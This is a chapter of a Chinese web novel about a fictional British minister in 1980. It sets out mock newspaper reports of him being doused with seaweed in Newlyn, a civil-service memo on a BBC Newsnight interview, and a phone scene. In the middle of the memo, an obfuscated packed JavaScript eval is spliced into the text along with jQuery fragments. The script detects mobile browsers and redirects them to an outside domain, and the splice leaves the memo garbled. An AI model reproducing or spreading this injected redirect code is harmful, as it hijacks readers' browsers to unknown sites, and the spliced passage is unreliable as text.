默认冷灰
24号文字
方正启体

20. 报纸内容+新闻之夜邀请

作者:用其他笔名本书字数:K更新时间:
    各大报纸1980.1.30-31刊登的内容


    《太阳报(The Sun)》


    标题:天啊,我的鳕鱼!(OH, MY COD!)


    副标题:救命海带!大臣在海鲜节上遭到“热烈欢迎”,浑身湿透!(GET KELP! Drenched Minister Draws Furious ''Greeting'' at SeaFest!)


    图:一张竖版特写,从查尔斯的胸口裁到头顶。查尔斯的身体因突如其来的冲击略微后倾,眼睛紧闭,眉头皱起,面上混合着震惊、厌恶和一丝茫然。几缕湿滑的海带贴在他的脸颊和额头上,冰冷的海水正顺着他的鼻尖往下滴,闪光灯下水珠晶莹剔透,格外狼狈。


    文:一只装着海带的柳筐成了纽林渔民的“投票箱”,被扔向了试图安抚渔业危机的查尔斯·海德大臣。这位新晋大臣,在开幕式上刚谈完“海产的希望”,便遭到激愤渔民一记“腥味十足”的泼洒,衣衫尽湿,脸色铁青。在场游客与记者目瞪口呆,仿佛在见证一场政治滑铁卢……


    《每日镜报(Daily Mirror)》


    标题:海德先生与杰基尔博士(MR. HYDE AND JEKYLL)


    副标题:渔业政策遭质疑,愤怒渔民用海带向政府“投票”(Fisherfolk fight back, fling seaweed in signal of desperation)


    图:一张横板中景,左侧是投掷海带的渔妇,右侧是被击中的查尔斯。渔妇被置于画面的视觉重点,手臂刚刚完成投掷的动作,身体前倾,脸上是深刻的皱纹和愤怒;查尔斯在画面的另一端,身体后仰,神情错愕,显得有些被动无力;背景中可以看到其他渔民或振臂高呼、或表情严峻的面孔。


    文:协同协调部大臣查尔斯·海德,昨日在康沃尔的纽林港上演了一出充满讽刺的政治剧。在上午一场沉重的会议上,他誓言要解决渔民的生存危机;然而仅仅是几小时之后,他却站在庆祝海产消费的节日舞台上为一场“吃掉问题”的盛宴剪彩,渔民们让他尝到了愤怒的滋味。这一筐冰冷的海带,不仅浇熄了节日的虚假繁荣,也暴露了唐宁街那道无法弥合的裂痕……


    《普利茅斯晚报(Evening Herald)》


    标题:节日未开“大幕”先湿:大臣被渔民海带“祝福”(Festival Falters: Minister Gets Seaweed Salute)


    图:一张从舞台背面拍摄的黑白照片。查尔斯的背影面向港口方向站着,似乎正眺望远方;台下的渔民表情复杂,有人抱臂,有人双眉紧锁,有人面无表情;本地郡议会官员在侧耳阐释。


    文:本应是一场展示康沃尔海产魅力的庆典,却以戏剧性的泼洒结束。协同协调部大臣查尔斯·海德在结束上午与渔民的密集研讨会后现身纽林海鲜节,却遭当众泼上海带,令人错愕。事件源于当天早些时候激烈的政策争论。节日活动提前中止,警方未做逮捕,但场面混乱一度引发游客疏散……


    《西部晨报(Western Morning News)》


    标题:内阁大臣在纽林海鲜节上遭海带袭击,此前承诺就渔业危机采取行动


    副标题:上午旧鱼市闭门座谈,下午海鲜节开幕短暂混乱,警方称无人被捕


    图:全景大图。中央是被泼后的查尔斯,正被西里尔用手帕擦拭;左侧是举着相机疯狂拍照的记者们,闪光灯此起彼伏;右侧是以汤姆·彭罗斯和约翰·特伦高夫为首的渔民们,他们的脸上没有笑容,那位泼海带的渔妇还保持着刚扔完筐的姿势。几位游客惊恐和困惑的表情占据一角,天空阴沉,彩旗在风中凌乱地飘动。


    文:协同协调部大臣查尔斯·海德昨日在纽林港成为渔民长久以来积怨的焦点,他在海鲜节开幕式上被当众泼上一筐海带。这起戏剧性的事件,发生在他刚刚于上午结束一场研讨会之后,会上他曾承诺将就巡逻执法、环境污染和燃油补贴问题采取三项具体行动,以缓解本地渔业的深重危机……


    《卫报(The Guardian)》


    标题:两个康沃尔的故事(A Tale of Two Cornwalls)


    副标题:海带抗议揭示裂痕:从“渔网到餐桌”的同一天(Seaweed protest lays bare the rift: from trawls to tables in a single day)


    图:两图并置,左图是查尔斯上午与老渔民对视的近景,右图是往台下退的查尔斯和西里尔。左图右侧是满眼期盼的老渔民;左侧是眉头紧锁的查尔斯,神色严肃。右图是西装湿透的查尔斯,脸侧有一滴水正要滴落,低头看着自己满是海带的袖子,表情复杂,被西里尔拉着往后撤。


    文:昨天发生在康沃尔的一幕极具象征意义。内阁大臣查尔斯·海德,在上午深入探讨鳕鱼数量锐减的危机后,下午却被要求为一场庆祝其消费的活动揭幕。这一安排所固有的矛盾,最终以一种粗暴而直接的方式爆发出来。泼向大臣的海带,不仅仅是抗议的工具,更是两个并行却日益疏远的康沃尔——一个依赖传统产业,另一个拥抱现代服务的——彼此间痛苦碰撞的隐喻……


    《每日电讯报(The Daily Telegraph)》


    标题:海德直面渔民之怒(Hyde Confronts Fishermen''s Fury)


    副标题:在纽林的混乱场面中,大臣呼吁对话的努力被暴力行为所取代


    图:低角度仰拍,照片经过精心裁剪,以查尔斯为中心,去掉了投掷者,只留下了混乱的背景。查尔斯一手扶着讲台以稳住身体,另一只手下意识地抬起,似乎想抹去脸上的污物,但又停在了半空,神色震惊。背景是虚化过的群情激愤的人群,他们的面孔模糊不清,看起来像一个充满威胁的“暴民团体”。


    文:协同协调部大臣查尔斯·海德昨日在康沃尔履行公务时,勇敢地直面了一场充满敌意的抗议。尽管他在上午的会议中已做出具体承诺,着手解决当地渔民面临的实际困难,但下午一场有组织的公开活动仍被少数极端分子的行为所破坏。这一令人遗憾的事件,已引发人们对公共秩序以及在当前政治气候下进行理性政策辩论之可能性的严重关切……


    《泰晤士报(The Times)》


    标题:渔业紧张局势爆发,大臣在纽林集会上被泼


    图:经典横板全景,黑白影调。左侧投掷的渔妇被身边的人拉住,但目光依旧锁定查尔斯;中心是查尔斯,他刚被击中,身体僵直,海带挂在他身上,但表情相对克制,主要是震惊;右侧,查尔斯的首席私人秘书脸色煞白,正一个箭步冲上前来,张开手臂试图遮挡;背景是记者们连成一片的闪光灯,远处的游客和本地居民表情各异。


    文:一场旨在缓和康沃尔渔业社区与政府间紧张关系的访问,于昨日下午在混乱中告终。协同协调部大臣查尔斯·海德先生在纽林海鲜节开幕式上发表演讲时,被一名抗议者用海带袭击。该事件凸显了因欧洲共同渔业政策和国内经济压力而日益加剧的社会矛盾,并使政府面临如何有效应对边缘产业困境的严峻考验……


    ——


    ——


    ——


    1980年2月4日,星期一。协同协调部大臣办公室。


    查尔斯面前放着两份文件。一份是BBC《新闻之夜》的采访邀请,另一份是阿利斯泰就此提交的风险评估备忘录:


    备忘录(MEMORANDUM)


    协同协调部 - Department of Synergy Coordination


    编号(Ref):DSC/MIN/MEDIA/002/80


    收件人(To):The Secretar


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294780|182690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    y of State(The Rt Hon Charles Hyde MP)


    发件人(From):A. Cavendish, Acting Permanent Secretary


    日期(Date):4 February 1980


    主题(Subject):关于参与BBC《新闻之夜》节目录制的风险评估与建议


    Minister,


    谨就BBC《新闻之夜》节目组邀请您参加讨论“新政府中新部门愿景”之意向,呈报以下评估与建议。


    1.背景(Background):


    您近期康沃尔之行所引发的媒体反响,已将DSC及阁下本人置于公众舆论之中心。目前形象呈现出复杂且易受负面解读的倾向。


    2.机会与风险(Opportunities & Risks):


    a)机会:此次节目提供了一个潜在平台,可用于阐释DSC的设立宗旨、工作方法及未来愿景,从而改善部门与您个人的公众形象,争取公众理解。


    b)风险:鉴于《新闻之夜》作为新开播政论节目(首播于1980年1月28日),其风格可能锐利且追求话题性。主持人可能针对您康沃尔之行、DSC模糊职能及白厅官僚主义现状,提出尖锐问题。言辞不慎,可能再次引发公关危机。


    3.建议(Rmendation):


    a)考虑到目前媒体环境与DSC初创之敏感阶段,建议暂不接受此类高风险、高曝光之访谈。应优先通过部门内部机制,稳定运作,逐步积累可量化之“协同成果”,以事实而非言辞回应质疑。


    b)若阁下仍决意接受邀请,为最大限度降低风险,私人秘书处将为您准备一份“标准安全稿(Standard Safety Script)”。此稿将严格遵循白厅惯例,措辞稳妥,专注于部门程序与宏观愿景,避免评论具体政策争议或进行任何可能引发部门间误解之即兴发挥。同时,我们将协调BBC,确保访谈议题限定在事先商定的框架内。


    请指示。


    A. Cavendish


    西里尔站在一旁,看着大臣读完备忘录。


    阿利斯泰的建议一如既往地“正确”,规避风险,稳扎稳打。


    查尔斯没有犹豫,直接在备忘录的建议b旁边写下了一个词:“同意(Agreed)”。


    “Yes, Minister.”西里尔准备去执行。


    “等等,西里尔。”查尔斯叫住了他,拿起电话听筒,按下了连接隔壁办公室的内线号码。


    电话几乎是立刻被接起。


    “阿利斯泰。”查尔斯的语气平静得就像在讨论伦敦的天气,“关于《新闻之夜》的采访,我决定参加。你的‘标准安全稿’很好,但我想做些微调。”


    电话那头传来一个同样平静的声音:“请指示,大臣。”


    查尔斯靠在椅背上:“首先,我要在节目上,亲自跟进我在康沃尔做出的三项承诺。我要让公众知道,环境部、国防部和财政部,已经收到了我们协同协调部的正式质询。其次……”他顿了顿,“我要公开宣布,DSC将设立一个‘渔业社区紧急困难补助基金’的可行性研究小组。”


    西里尔屏住了呼吸。


    电话那头沉默了一会儿。


    “大臣。”阿利斯泰的声音听不出任何情绪,“这是一个非常……勇敢的提议。在财政部批准预算前公开宣布,可能会引发严重的跨部门紧张关系。”


    “没错。”查尔斯的声音带上了一丝笑意,“这就是为什么我需要你,阿利斯泰。我负责在聚光灯下打开那扇门,而你负责确保我走进去之后,身后不是万丈深渊。我想,这应该也属于‘协同协调’的一部分,不是吗?”


    又一阵沉默。


    最终,电话里传来回复,简洁清晰:“Yes, Minister.”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)